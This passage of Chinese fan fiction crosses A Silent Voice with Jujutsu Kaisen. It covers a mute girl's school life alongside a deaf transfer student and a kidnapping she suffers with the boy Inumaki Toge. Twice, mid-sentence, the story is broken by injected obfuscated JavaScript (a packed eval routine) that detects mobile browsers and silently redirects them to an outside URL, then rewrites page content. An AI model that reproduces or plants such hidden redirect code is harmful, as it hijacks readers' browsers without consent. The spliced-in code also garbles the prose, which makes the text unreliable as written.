这一套操作下来温柔的人就会不好意思打扰她,凑热闹的人会觉得麻烦退开。 日向葵既如养母期待的那样跟同学们相处“融洽”,又没有让任何一个人靠近自己。 除了面前这个同样有着黑色长发的女孩——植野直花。 好像是遇到就是为了作对的,植野直花可能把撩拨日向葵列到了自己每天的日程上。 她给日向葵起外号,每次日向野子来帮忙代课的时候都会打趣日向葵,还非要站在日向葵身边聊天把她拖进话题里......等等等等,不胜枚举。 起初日向葵也是烦恼的,然后是烦闷,最后就习惯了。 除了喜欢嘴嗨,剩下也没什么大不了的。 甚至拖她的福,日向野子一点儿也没发觉自家孩子五年多连一个正经朋友都没交上。 可喜可贺,可喜可贺。 只要能安安稳稳度过日子就可以了,日向葵不建议拿自己的时间换养母一个安心。 直到那个看起来腼腆安静的短发女孩站在讲台上翻出来自己的笔记本,铅笔的尖端认真坚定地在纸页上留下痕迹。 一枚石子投入湖中,波澜荡起来。 10. 新生篇 日向葵喜提了一个同桌。 问:在什么情况下可以让人数为单数的班级每个人都获得一个同桌? 答:并不是让一个学生坐到讲台边上跟老师当同桌,而是获得一个转校生。 日向葵调整坐姿活动活动自己僵硬的骨骼,眼神不自觉飘到班级中间的位置——是新同学的座位。 植野直花坐在新同学的后座,川井未希是新同学的同桌。 她们围在新同学的身边说笑着,班级里的其他同学也是或凑近,或侧着身子关注着那边。 有一种既视感落在日向葵的视网膜上。她眯了眯眼,把视线收回到手中的课外书,大脑却在飞速旋转着。 啊对,像极了一年级开学的时候自己被围观的场面。 叽叽喳喳的一只只待哺的雏鸟,用不尽的好奇心和热情把人包围,身边的氧气有燃烧殆尽的趋势,假意的微笑和局促条件反射一样出现去应对。 还是不一样的,新同学是真的在开心着。 日向葵想起前两天班主任特别的嘱咐,不免有些好笑。 这不是不错的开端吗?根本不需要她这位某种意义上的前辈去帮助些什么。 而且让她这个根本不想上桌的去教积极干饭的人如何使用筷子,也着实是有点为难了吧。 食指指腹顺着书页下滑轻松拨开一页,整个书本却也轻松被人从手掌中抽离了。 欸? 日向葵有些讶异地看过去。 “被我吓到了吧?”植野直花瞥了一眼页码就把书合放在旁边。 “是不是吃醋了~”女孩刻意搞怪的语调中透着一股得意, “同学们都围到了转校生的身边,把对你的注意力狠狠夺走,甚至连唯一的‘残疾人’身份都不见了,啊,神明大人快救救我,让我的朋友们重新、哦不,只能喜欢我一个人吧~” 日向葵:“……” 原来植野直花是隐藏了快六年的表演型人格吗? 先不论平常其他同学到底关不关注她,“残疾人”的身份难不成是一个值得被抢来抢去的好东西吗? 有的时候日向葵真的想狠狠敲开植野直花的脑袋看看里面到底是个什么构造。 旁边的川井未希扶着桌子笑得肚子痛,但还是边擦着泪花边阻止道:“不要这样啦小直,怎么可以把灵异电影女配角的台词直接往小葵身上套。” “而且跟小葵开玩笑就算了,在新同学面前说‘残疾人’什么的有点过了吧?” 如果你笑得小声一点,或许还有几分可信度。 这两个人绝对是仗着新同学听不见才敢这么说话。 失去了课外书的日向葵右手不自觉地反复折磨按动笔,抑制着自己一人给一个爆栗的冲动。 踩着犹豫又坚定的小碎步,亚麻色的小脑袋从直花背后露出半个来,不期然与日向葵对上了目光,又侧着脸躲开了一半。 植野直花也发现了,让出了半个身位,也让女孩身前紧紧抱着的笔记本显露出来。 她显然是没想到自己突然变成了正对日向葵的那个人,手忙脚乱地翻到早已写好的那一页—— 「你好,我叫西宫硝子,我们可以成为朋友吗?」 ......啊,好长的一句话。 日向葵稍微有些走神地看着立起的笔记本,大脑中开始拆解对面女孩的形象。 名字是“西宫硝子”,头发虽说是亚麻色但是乍一看却是烟粉的色调,眼眸也是同色系,羞涩与胆怯中藏着坚定的光芒——是一定要跟大家成为朋友的热切目光。 每一下被拆解出的特点都精准地踩在日向葵的雷点上,简直就是站在她的对立面。 是完全不会成为朋友的类型......就算是连植野直花都发展成闺中密友也不会去沾染的类型——日向葵判断道。 还好她根本不想交朋友,这样大家成为朋友的概率都为零,也不显得西宫硝子会有多孤单。 但是现在必须要做出回应了,像之前一样虚假地应付过去吧。 日向葵烦恼地想按一按自己的太阳穴,鉴于围观人数太多又作罢了。 她从课桌拿出自己的笔记本,手里的按动笔终于派上了用场。 「很高兴能认识西宫桑,我叫日向葵,之后就麻烦多多关照了~」 是她一向的不正面回答问题,但这种程度已经能让对面的脸颊泛起激动的粉红色了。 「好的,日向桑!」 “好了好了,已经有点像八点档亲人久别重逢的剧情了。”来捉弄日向葵的植野直花反而有些吃味。 她有些疑惑这两个都会手语的人为什么拿着笔记本在交流,但心里别扭的情绪让她没有选择点破。 “快上课了,我们回去吧,有什么不懂的地方硝子都可以问我哦~” 这句话是说给谁听的? 首先排除西宫硝子。 川井未希眼睁睁地看着好友把自己一步三回头的新同桌拖回了座位上,心中不免偷笑。 如果笑出声的话绝对会收获一个恼羞成怒的小直吧~ “对待新同学要温柔一点啊,小直~” 川井未希也慢悠悠地坐回到座位上。 随着三人的离开,日向葵的座位终于不是班级的焦点位了。 她暗暗松了口气,抬手又拿起课外书。 “是76页哦。” 貌似是脑袋后面长眼睛的植野报出刚刚特意记下的页码。 前座的川井未希也彻底憋不住笑,“噗”笑出了声。 “你笑什么呢?” “抱歉抱歉,就是突然想到了一个笑话。” “想到了笑话跟我道什么歉啊!” 植野直花的恼羞成怒虽迟但到,站起身去挠川井的痒痒。 “哈哈哈,我错了,小直,饶了我吧,哈哈哈哈......” “都说了,不要给我道歉!” 旁边的西宫硝子看着嬉闹的二人不禁露出羡慕的目光。 我也是可以交到这么好的朋友的吧? 绝对! —— 时间的流速一直是个秘密,在小孩子身上流动地好像格外快。 日向野子总说日向葵长得太快了,总感觉一天比一天成熟,一天比一天高,吓得她天天照镜子观察自己的脸,看看时间神偷有没有加速她的老化。 日向葵之前并没有什么感觉,但此时有了几分实感。 时间果真是在小孩子身上流动地格外快,要不怎么解释前两天还跟同学们玩的不错的西宫硝子,转头就有点被孤立了。 “小葵,这道题可以帮我写一下步骤吗?” 川井未希俯身在日向葵旁边请教着。 日向葵因为本身智力水平就很高,还年长了同年级的人两岁,所以常年占据着年级第一的宝座。 屈居于她之下的万年老二川井未希一开始还有些好胜心,但都快过去六年了,到底是选择与自己和解,有什么做不来的题目也都会过来请教。 说是请教也就是得到一系列详细的解题步骤自己回去参悟,她没有植野直花那么厚的脸皮让日向葵把挨个步骤的解释写在纸上。 当然,这样做的植野在日向葵详细解释后还没理解的情况下,也是会被日向葵毫不客气地敲打——物理意义上的。 “唉,真是太难了。” 川井未希在拿到解题步骤之后没有着急回到座位,而是占用了日向葵前桌的椅子,趴在日向葵的桌子上暗自苦恼着。 又来了。 日向葵面不改色地继续在自己的笔记本上写写画画。 跟植野直花比起来,不,跟全班同学比起来,川井未希都是心思比较深的那类型人。 平时跟谁都说说笑笑的,有什么不喜欢的地方也不会直截了当地开口,遇到有相同感受的人还憋不住跟人家吐槽,吐槽之后还内耗觉得自己不应该那么“恶毒”,又担心被正主发现了之后该怎么相处,万一被戳破了就会大崩溃,不敢承认错误,只是因为害怕破坏了自己在同学和老师眼中的好形象。 ——就是这类型的人。 拥有这样无处宣泄的细腻心思,还真让川井未希找到了一个发泄口。 ——就是日向葵这里。 跟谁都是温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380283|168439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和中带着疏离,从来不参与任何的小团体,不插手任何的纠纷,最重要的是还不会说话,简直是最理想的树洞。 川井未希的心事一见到日向葵就憋不住了,不吐不快,好好轻松一下。 之前遇到这样的川井,日向葵都是左耳听右耳出了,但是这一次应该会跟西宫相关,极具责任心的日向葵没有忘记班主任的嘱托,打算认真听听到底是发生了什么事。 “跟硝子……西宫同学沟通,真的是有点费劲啊……” “就是给她讲题要在纸上写得很清楚,很麻烦。就像是你给小直讲题那个样子,而且西宫比小直还要笨十倍!我也不好意思拒绝她......” “……她也读不懂空气,同样一个笑话我们已经笑过一遍了,还要给她解释。你懂的,笑话这个东西解释了就不好笑了,给她解释还很浪费时间。” “不只是我一个人这样想哦!还有小直,还有班级里的其他同学,都不喜欢她!” “你知道的,我们已经很努力地在帮她融入校园生活了……她明明戴着助听器,为什么还这么麻烦别人,还让我们为了她学手语……” 说到这里川井未希瞄了一眼日向葵,这么多年还没有哪个同学为了跟日向葵沟通学过手语,老师也不在意这件事情。 “也不知道她家里为什么要送她上正常的学校,去专门的学校不是更好吗?” “合唱比赛也快开始了啊......” ...... 听起来西宫同学的“罪行”有些“罄竹难书”了啊。 总而言之是一个各方都被伤害的故事。 现在苦恼从川井未希的脸上转移到了日向葵的脸上。 果然栽种一棵树最好的时间是十年前,现在种也有点来不及了。 日向葵纠结地上课,纠结地在课堂上写作业,纠结地下课,纠结地放学,专注地换上运动服去独自打了会儿排球,专注地去附近的训练场练了会儿跑酷,纠结地踏上了回家的路。 然后就到了更加令日向葵苦恼的时刻了——如何不着痕迹地走过全是玻璃门玻璃窗的面包店,而不被里面的工作人员发现。 所幸在这个必须面对的苦恼面前,关于西宫同学的那些事情被短暂的忘却了。 日向葵不紧不慢地走着,从四年级开始她就每一天都要经历这一劫了。 基本一天两次,有时候跟日向野子一起走,还要等她跟店铺老板聊完天......更煎熬了。 她是真的不喜欢热情,尤其是来自于那个面包店的热情。 该来的总是会来的,日向葵如往常一般走到离面包店最近的那个路灯停下了脚步。 天色已是黄昏,店内就算是开了灯也夺不过夕阳的耀眼,而本该在店铺内忙碌的两位服务员却一站一蹲,在店门旁不知说些什么。 被他俩挡在中间的,是以日向葵的角度完全看不清的白发男孩。 “是走丢了吧?” “应该是吧?” “这不是显而易见吗?呆瓜!” “不是你先问的吗?总而言之问一下他家里的地址?” “刚刚不是问了吗?他不说。” “那问一下家长的电话?” “都说了他不说!你能不能用你那生锈的耳朵好好听听我说的话!” “那直接打给五条家?” 站着的高个儿终于是忍不住狠狠打了一下身边人的脑袋。 “不是所有白毛都是五条家的人啊!还有五条家不是只有那位继承了白发吗?现在都20多岁了!” “不要打我脑袋,会变笨的!而且万一是私生子呢?” 高个儿又打了一下,“都说了那位才20多岁,哪来的10岁左右的私生子!” “别打了,别打了!”蹲着的店员捂住了脑袋,“我说的不是那位啊,是五条家的家主、不对,是那位的父亲啊!” 高个儿收回了想再打一下的手。五条家的家主早就变成那位了,如果不是身边的同事改口够快,他绝对一个巴掌直接糊上去。 “那位的父亲啊......也不是不可能?” 11. 新生篇 日向葵慢慢走近了,两位店员完全没发现,依旧在争论着。 “你有五条家的联系方式吗?” “......没有,你呢?” “当然......没有。” “啊!难不成只剩报警这一条路了吗?!真的不想联系警察啊,岂可修!” “是的,婆婆妈妈的,碍手碍脚的......110电话号码是多少来着?120吗?” 已经走近的日向葵听到了这段对话,忍不住侧目给这两位投去关爱笨蛋的眼神。 所以到底是在讨论什么? 难得被勾起了好奇心,日向葵停住脚步张望进两个人的包围圈,看见了里面的男孩。 白色的短发微微向上翘起,眼眸低垂着,瞳色如同紫桔梗一般,下半张脸被宽大的口罩遮盖着看不清表情,身上是简单的半袖和短裤,身子紧贴着身后的玻璃,是肉眼可见的局促。 日向葵有点搞清楚状况了。 虽说是因为担心男孩的安全才有了这么一番对话,但是对话的内容也太令人不安了吧? 被围着的男孩酸涩地眨了眨眼,感觉到日向葵的视线便反向看了过来。 “你看什么呢?”认识的人吗? 店员们也顺着他的视线扭头看过来。 “什么嘛,是小葵啊~”语气中透着遗憾。 “也是都这个时间了,店里还有最后一块开心果蛋糕要不要尝尝?是我最成功的一次哦!” “少来,哪次都是你最成功的一次。” 完了,这不是与刚刚偷偷走过去的想法背道而驰了吗? 不要看过来啊!你们身后的男孩已经趁机逃走了,完全没发现吗?! 日向葵停顿了一下脚步,然后原地加速朝着男孩溜走的方向追了过去。 总之,先拿那个男孩当借口离开现场。 “啊,都跑走了,葵酱真是个乐于助人的好孩子呢......那我们可以回店里上班了?” “走吧,不要因为这个时间店里没顾客就懈怠啊!” “你也是吧?真是的,总是这么说我。” 两位店员不情不愿地回到了工作岗位,日向葵也顺利离开了店铺。 幸亏那个男孩跑的是我回家的方向啊。 再过一个转角,日向葵就可以看到家的屋顶了。 就这样走过这个转角, “砰!” 日向葵与男孩面对面相撞了。 为什么会站在这里啊? 日向葵一手揉着额头一手拉着对面人的胳膊。 相撞的那一刻她看到男孩因为冲击的力量向后倾倒,下意识拽住了对方的胳膊,也顺势稳住了自己的身体。 短暂地缓解了额头的疼痛,日向葵空出这只手反手去掀书包的盖子,拿出来用于沟通的笔记本。 过程很艰难,但刚刚“撒手没”的情景还历历在目,她确实也不敢松开男孩,甚至握得更紧了。 令人欣慰的是男孩突然从警惕的刺猬变成了温顺的绵羊,半点挣扎的力道都没有,乖巧的仿佛被施了定身咒,只是瞪圆了眼睛震惊地看向日向葵,并且好像已经在震惊中呆滞了。 日向葵把笔记本垫在大腿上费力地写完了想说的话,抬眼就被男孩的状态吓了一下。 她应付不来紫色瞳孔的注视,举起手中的笔记本挡住自己的脸,在男孩眼前高速晃动去唤回他的神志。 方法奏效,男孩慢半拍地从日向葵手里接过笔,在笔记本上认真写下了自己家的地址。 看着本子上与自己家南辕北辙的住址,日向葵犹豫了几秒,还是打算掏出手机给警察局发个短信。 但是反手去另一边的书包口袋掏手机已经不是光靠努力就能克服的了。 看在男孩表现不错的份上日向葵松开了他的胳膊,却在下一秒又被男孩反向拽住。 日向葵诧异地看向胳膊上的手,冰凉中泛着粗糙,完全不像是属于一个孩子的。 难不成是被家里虐待跑出来的? 日向葵微微蹙眉,有些迟疑还要不要报警,清朗温润的男性嗓音突然从她的背后响起: “怎么在拐角的地方站着,很容易撞到的哦。” “唉,幸好接住了,手机要好好保护啊。” 日向葵略带僵硬地点头表示感谢,从男人手里拿回差点摔在地上的手机,心里却是在无声呐喊。 今天是什么水逆的日子吗? 难不成今后要看过晨间占卜,带上幸运物,才可以平安顺遂地度过一天吗? 她每天最不想看见的人现在就这么猝不及防地来到了她面前。 健气的长相,温柔的神态,半永久的微分碎盖,日向葵远远望见绝对会避开,三步以内不寒而栗,半米距离开始反胃,要是有肢体接触要强忍着才能不飞速逃跑——这样的人为什么要突然出现在这里! 男人,也就是灰原雄,看不出日向葵对他的反感,并且一直以为女孩只是比较腼腆。 他一回到面包店就莫名其妙观看了两个店员绘声绘色的表演,顺带说一句,如果这两位不是自己招聘的店员的话,他更希望自己是因为他们是很出名的漫才组合才认识他们,因为他根本不看漫才。 总结出到底发生什么之后他就不放心地沿路找过来了,也就这样发现了“僵持”住的两个孩子。 现在不是能顾及到“礼貌”的时候了。 日向葵飞速撕下笔记本上写着的地址塞进男孩的怀里,半低着头朝灰原雄摆了摆手就跑走了。 “哈哈,小葵还是那么害羞啊。”灰原雄早就习惯了日向葵在他面前的丝滑操作,对着女孩跑开的背影也摆了摆手,“再见小葵,别跑太快,小心摔跤!” “能不能让我看看纸上写的什么?”他从还在发懵的男孩怀里抽出那页纸, “是这里啊,我送你回家吧~” ...... 日向葵的自我调节能力是很好的。 在大脑里强制删除了昨天傍晚的恐怖剧情,又迎来了清爽的一天。 直到她的视野里出现了西宫硝子,清爽的一天又不清爽了。 大脑里的东西有点删的太干净,看见了西宫的日向葵才被触发了关键词,在“垃圾桶”里翻翻捡捡,找出昨天和川井未希单方面的谈心。 说的什么来着?相处很麻烦?……哦,对了,要合唱比赛了。 是不是不合唱就不用担心合唱比赛了? 有点难办,但至少别再恶化了。 * 西宫硝子跟其他同学的关系快要来到岌岌可危的地方,一件件小摩擦累积起来也是能引发质变的。 思考了两天,日向葵还是打算选择实话实说。 午休时间,她少见地离开了自己的座位,走到西宫硝子的身边轻轻拍了拍她的肩膀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380284|168439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 西宫转过头来看到是日向葵,一时间震惊地不知道该做什么动作。 日向葵是她来到这个班级最想交朋友的人,是她的同类,也是唯一表现出不想跟她结交的人。 她第一次跟日向葵交流后被喜悦冲昏了头脑,课间的时候总是忍不住带上笔记本去找日向葵聊天。 黑发金眸的女孩做什么都让她感觉如沐春风,不敷衍也不嫌弃麻烦。当时的西宫硝子像是住在幸福的泡泡里。 被小直点醒后,西宫才知道可以用手语跟日向葵交流。 她觉得自己太笨了,没有告诉日向葵自己会手语,害得对方浪费时间给自己写了好多回复。 但当她表现出想要跟日向葵用手语交流时,日向葵还是翻开了自己的笔记本。 ——「这样就好」 女孩一笔一划地写在笔记本上。 被西宫硝子忽视的细节浮出了水面。 这就是小葵,不,日向桑从来不写对于我的称呼的原因啊。 原来互称昵称只是她的一厢情愿。 说起来当她写下带有“亲近”层面的问题时,日向葵从来没有给出过明确的答复。 从第一次“说话”的时候就是这样了。 一直在关注的植野直花语气中是掩饰不住的开心: “小葵她就是这个样子的啦,看上去温温柔柔的其实跟谁都很疏离。” “也就是我和未希跟她算关系不错的了~” “啊,忘了你听不见了。” 西宫硝子确实没听清植野在说什么,只是通过助听器知道植野在说话,但也没心思去追问。 她的心脏处好像透风了一样,自此之后就不敢面对日向葵了。 这次日向葵主动来找她,更是想也不敢想。 「西宫桑,我要“说”一些很不好的话。」 「这次合唱比赛我们想拿第一名。」 「剩下不到一个月的时间是不够你去练习的。」 「可以拜托你小点声唱,或者是对口型吗?」 啊—— 西宫硝子长舒了一口气。 「好。」 ...... 真的是当了一个大恶人呢。 日向葵成功路过面包店,又来到了回家的最后一个转角。 她放慢脚步走过去,果然看见了站在那里等候的男孩。 真的又来了...... 日向葵不理解自己是哪个地方吸引了他,自从那次相遇之后每天傍晚都能在这个转角遇见在等她的男孩。 前几次男孩总想过来拉她的手,都被日向葵后退躲开,并掏出手机晃了晃以示威胁。 这个时候男孩总会被吓到,真的以为日向葵要摇人过来,直接跑走了。 但是第二天依旧会在这个地方等待。 真是执着啊,每天都在同一个地方堵人,还想拉对方的手,这算是耍流氓吧? 日向葵都要被骚扰的没脾气了。 而且她遇见残障人士的几率有点太大了吧? 之前日向葵只觉得男孩是自闭症,从来没有在她面前说过话,现在她有几分把握猜对面也是个哑巴了。 毕竟他今天也带了装备——笔和笔记本。 男孩没有动笔,而是直接翻开了笔记本。 「你好,我叫狗卷棘。」 「你能看见咒灵吗?」 12. 新生篇 时间早已划过了傍晚,皎洁的月光透过破碎的窗户照进废弃的大楼。幽亮的光束中,细碎的粉尘缓慢地在空气中浮动。 日向葵和男孩被扔在阴暗的角落,手脚都被麻绳紧紧捆绑,连嘴上也被黑色的胶带死死封住了。 真是多此一举。 日向葵动了动脸部肌肉,被粘住的地方因被牵扯有些刺痛,胶带特有的刺鼻气味也朝她的鼻子里钻。 如果哑巴也能像断手断脚一样能明显地被看出来就好了。 ……如果咒术界的人能像断手断脚一样明显地被看出来就好了! 一幕幕的回忆在日向葵的脑海中闪过,折磨着她的神经。脖颈上早已消失的痕迹也开始隐隐作痛。 她拥有了新的家人,新的生活,但一直也没能走出在夏油家的那三年。 时间的车轮滚滚向后,她的灵魂却被封印在原地,一次次反复经历世界崩塌的那一瞬。 她对所有与过去类似的存在都有强烈的应激反应,尤其是与咒术界相关的,更是深恶痛绝。 可以说日向葵对于灰原雄他们的反感可以代表她对于整个咒术界的反感。 现在又多了一个反感的人……莫名其妙的。 她挪动身体拉开了与男孩的距离,男孩下意识也跟着动,靠了过来。 感受到身旁的热源又一次靠近,日向葵一时失去了所有的力气与办法。 可能就是命里的劫吧,早晚都会因为跟咒术界产生交集而死掉。 她还是想逃开自己可能必死的命运的,但是绑架他们的男人就在不远处席地小憩,还不知道从哪里捡回来一块砖头枕在脑后,超级好养活的样子。 透明的白色塑料袋随意的敞开放在他的手边。里面只剩下了没用完的胶布。 原本里面还是有几个面包两罐啤酒的,现在都被享用完了,随意地散落在袋子外面,诉说着男人的邋遢。 在绝对的困境面前,再怎么动脑筋都是无用功。 男人一看就是经验丰富的老手,下手干净利落,推开车门就捞住了狗卷棘。 发现男孩拉住了女孩的手,更是一手一个,把两个孩子都拽上了车。 一路上沉默寡言,跟司机帮手没有半点交流,到地方之后嘴里叼着塑料袋,一手提溜一个小朋友,直奔顶楼。 所以日向葵到现在也只知道两个点:这男人是来抓男孩的;这栋楼一共有五层。 多知道点什么也没用,男人看似已经睡着,实则保持警惕。 这边两个孩子但凡动静大一点,他都会用食指敲两下地面以示警告。 无妄之灾,但是日向葵没有因为被牵连而埋怨狗卷棘。 毕竟当时是她先伸的手。 啊......幸好这个男人没有什么搜小孩身的爱好。 日向葵的手机还完好的待在她的兜里。 这个被灰原雄反复强调过要好好保护的手机,里面安装了GPS定位系统。 强大的卫星定位可能会受信号的影响,但绝对不会受咒力的影响。 ——因为这是被日向葵保护着的手机。 希望灰原先生可以早点发现吧……要被自己不想看到的人救了也是蛮讽刺的。 * 不知又过了多久,男人突然睁开了眼睛。 ——他设下的帐被人动过了。 这个工厂已经足够偏僻,没有误入的可能性。 明明只要熬过今晚他就可以向买家交差,没想到有人能这么快的找到这个地方。 他起身扫了一眼紧靠在一起的两个孩子,带上武器直接从窗户跳了下去。 走了? 日向葵看着男人的那股狠劲儿,猜测应该是灰原他们到了。 所以现在在原地等待被救就可以了? 实话说日向葵不知道灰原跟这个男人比到底是谁更厉害,但是三个人打一个人不至于输吧? 身侧的推搡感打断了日向葵的思考。 在她身边的狗卷棘跪坐起来,往她身上挤,活像一只撒娇的萨摩耶。 日向葵看过去正好对上他水润的大眼睛,还带着些哭泣过后的红,脸上的泪痕在暗淡的光下被隐藏了。 ……求安慰? 她抛过去一个疑惑的眼神,狗卷棘开始抬着下巴左右摇晃他的脑袋。 噢,是要撕开胶布。 日向葵想起了刚被拐上车时的画面。 男人一把扯下狗卷棘的口罩并捂住了他的嘴,日向葵在旁边拼命拽着男人的胳膊,却毫无用处。 三个人纠缠在一起,日向葵在男孩挣扎的间隙看见了他嘴边纹身一样的东西。 她大概知道了男孩的嘴巴应该有某种能力,大概率是靠“说话”来发动的。 所以算来算去还是只有她一个人是哑巴…… 但是现在两人的手都被反绑在身后,怎么帮他撕? 思考着,日向葵也跪坐起身,在狗卷棘的吃惊中把他扑到墙上固定,用脸颊去蹭他脸上的胶布。 男人用牙咬开的胶布总会有边边角角不服帖的地方,她只要用脸把那个地方蹭开就好了。 就这样一下一下,日向葵脸上的胶布反而先被蹭开了。 她把被蹭开的那一半压到男孩的脸上黏住,然后身体向侧后移,终于把自己脸上的胶布弄下来了。 也顾不上嫌弃脏,她又唇齿并用把男孩脸上的胶布弄开一个角,然后拽着往后也把他的嘴巴解放了。 果然是有“纹身”,嘴角两边都有。 日向葵盯着狗卷棘的嘴角有点发愣。 狗卷棘脸上不知道是胶带的撕扯红,还是羞红,撇开脸躲避女孩的视线。 好在他没有忘记这么做的目的。 “松开。” 日向葵手上的麻绳丝毫不动。 狗卷棘怔了一下,还是先把自己手脚上的麻绳给解开了。 他尝试去拆女孩身上的绳扣但完全拆不动,转了一圈也没看见什么锋利的东西可以割开绳子。 没有时间给他犹豫。 狗卷棘直接横抱起日向葵往楼下试探着前进。 好吧,也算是plan B了。 真?哑巴?日向葵表达不出有人正在救他们,只好乖巧地窝在他怀里任由他尝试逃跑。 万一灰原先生没打过呢? 逃跑总是不会出问题的吧? * 狗卷棘不敢沿着来时的路逃跑,他抱着日向葵找到了另一边的楼梯。 这种楼层衔接的地方是完全没有窗户可以透进来光的,黑洞洞的像早就准备好的大口,只等着二人自投罗网饱餐一顿。 狗卷棘单手用力把日向葵半扛在肩膀上,另一只手摸索着墙壁坚定且谨慎地往下走。 看似瘦弱矮小的男孩身上却是强韧的肌肉,稳稳地托着比他还高半个头的日向葵。 日向葵安静地趴在狗卷棘的肩上,整栋楼里只剩下男孩匀速喘息的声音。 突然男孩停住了,手臂微微脱力,日向葵顺着男孩的身体在不知道哪一级台阶上站定。 怎么了? 她侧头看过去也只能看到一点男孩的轮廓,看不清表情,只能感受到他的呼吸声变得轻浅了。 确实发生了日向葵看不到的情况。 一个长相如螳螂般的巨型咒灵在上层的楼梯口出现,两只眼睛像红色的探照灯一般打在狗卷棘的背部。 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日向葵连擦拭脸上的液体都做不到。 ……怎么了? 到底是发生什么了?!! 狗卷棘的咒言术还是太稚嫩了,只控住了螳螂咒灵几秒钟的时间,自己的嗓子却已血崩。 这是他们狗卷家血脉中流淌的术式,是上天给的礼物,也是诅咒。拥有它的人天生长有伴生咒纹,也天生就能使用这种能力。 狗卷家无人在意它的传承,自由与外族进行通婚,谁也没想到狗卷棘会继承它。 狗卷棘痛恨咒言术。 一直以来都是,现在尤其。 为什么力量不会以人期待的方式降临? 他双手捂着嘴巴,却还是挡不住血液从指缝溢出。 上方看戏的咒灵,身边还被捆绑的女孩,四处留痕的血迹,无一不在诉说着自己的弱小。 当初他不愿咒言术太强大,害怕伤害身边的人,现在他又怨恨为什么不够强大,不能救他身边的人。 就要这样死去了吗? 不……还不行! 狗卷棘松开双手在衣服上狠蹭了几下,又去抱倒在地上的日向葵。 还能跑。 女孩是因为被他牵连才经受这些磨难的。他可以放弃自己的性命,但不能放弃女孩的。 他第一次在街角被女孩拽住的时候发现自己身上的咒力消失的干干净净,嘴角和舌头上的咒纹仿佛变成了普通的黑色胎记。 那种身心舒畅的体验令他着迷,这才像个变态一样一天天在街角蹲守,一次次想要去触碰。 也是因为他的任性和坚持,才导致女孩跟自己一起被绑架了。 他的每一步都是错的…… 如果刚刚不是限制咒灵的行动,而是给自己增速的话,应该能做得更好的。 狗卷棘颤抖着抱起日向葵。他的意识已经有些涣散了。 他没有多余的大脑去思考为什么当他抱住日向葵的那一刻他的视野又重归黑暗。 只是机械地向楼下逃,然后被台阶上接连的大块碎石绊倒,抱着日向葵又滚下了台阶,彻底失去了意识。 日向葵也疼得没了力气,在狗卷棘怀里闭上了眼睛。 螳螂咒灵在平台上来回踱步。 它拥有跟真正的螳螂一样的复眼结构。高达240°的水平视觉范围和360°的垂直视觉范围愣是没有发现刚刚那两个孩子躲到哪里去了。 不具备复杂思维能力的它只好不甘地离开了。 13. 新生篇 等到日向葵再次清醒的时候,已经在医院成功排到病房住了。 挫伤、擦伤,还有其他大大小小的淤青和手腕脚腕的勒痕。 日向野子从医生检查的时候就没忍住眼泪,医生走后更是刹不住闸,一直到日向葵清醒了才快速擦干泪水上前关心。 当初没有照顾好女儿一直是她心里的一根刺。 直到现在她还会时不时回想要是自己多在意一点,是不是日向葵嗓子的状态就能更好一些,就算还是十分沙哑,至少可以说出能被人理解的音节。 日向葵身上的伤看着严重,其实慢慢养着不做剧烈运动就可以。 但是日向野子生生把她按在家里休养了一个多月,才批准她重返小学。 这一个多月以来她只能透过房间的窗户感受外面的空气,早上踏出家门的那刻甚至有一种重获新生的感觉。 此时日向野子女士还在家里的床铺中蜷缩着,享受上班前最后五分钟的放纵。 而日向葵已经任由微凉的空气在她的肺部循环穿梭,欣赏着街边掉落的银杏树叶所拥有的金黄色边缘。 她踩着清晨的阳光来到了学校,拉开顺滑的教室门。 没想到有人比她来得还早。 留着刺头的黑发男孩连书包都没放下,在西宫硝子的桌子前面不知道在干些什么。 换座位了? 日向葵边思考边向自己原先的位置走去。 桌箱侧边粘贴着五颜六色的祈福便利贴,一猜就是植野直花带头的“恶作剧”。 画鬼脸难不成是想帮我除身上的邪祟? 日向葵一张一张地整理好,把椅子从桌面上搬下来,便利贴规整地放进了桌箱。 她抬眼去看黑板上的值日生——广濑柊、石田将也。 值日生的任务大致分为早上清扫分担区,上下课喊“起立”,课间擦黑板,放学清理教室。 今天果然没有安排我。 好吧,把刚养好伤重返校园的学生排成值日生的确不是正常人能做出来的事情……但是我现在是真的需要一些体力劳动来重新掌握自己的身体。 这一个多月日向野子连家门都不让她出,更别说去进行跑酷训练了。 日向葵感觉自己全身上下的关节都已经生锈,一动就会有咯吱咯吱重新启动的阻塞声。 要不帮忙打扫打扫活动活动? 这教室里另一个不知道在忙些什么的男孩,不就是石田将也吗? 日向葵与石田的相处不多,对他的印象就是调皮捣蛋、运动细胞不错、成绩中下游、跟植野她们的关系很好。 比起石田将也,日向葵反而对石田妈妈的印象更深一些。 是位很温柔的女士,独立拉扯两个孩子长大,经营着一家理发店,是少有的能听懂顾客需求的理发师。 日向野子经常带着她去理发,但没有在店铺里遇到过石田将也。 这也太专注了吧? 日向葵从进教室开始的一系列动作和声响都没有打扰到男孩。 从她座位的角度可以看到石田将也手里拿着半截粉笔在桌子上涂涂画画,角角落落都没有放过。 还不清扫吗? 日向葵看向仍旧沉浸在激情创作中的石田,想着要不要上去询问一下。 “别来打扰我啊。”石田将也听到靠近的脚步声,还以为是哪个同情心泛滥的同学要来阻止他。 他手下拿着粉笔胡乱绘制的,正是西宫硝子的课桌。 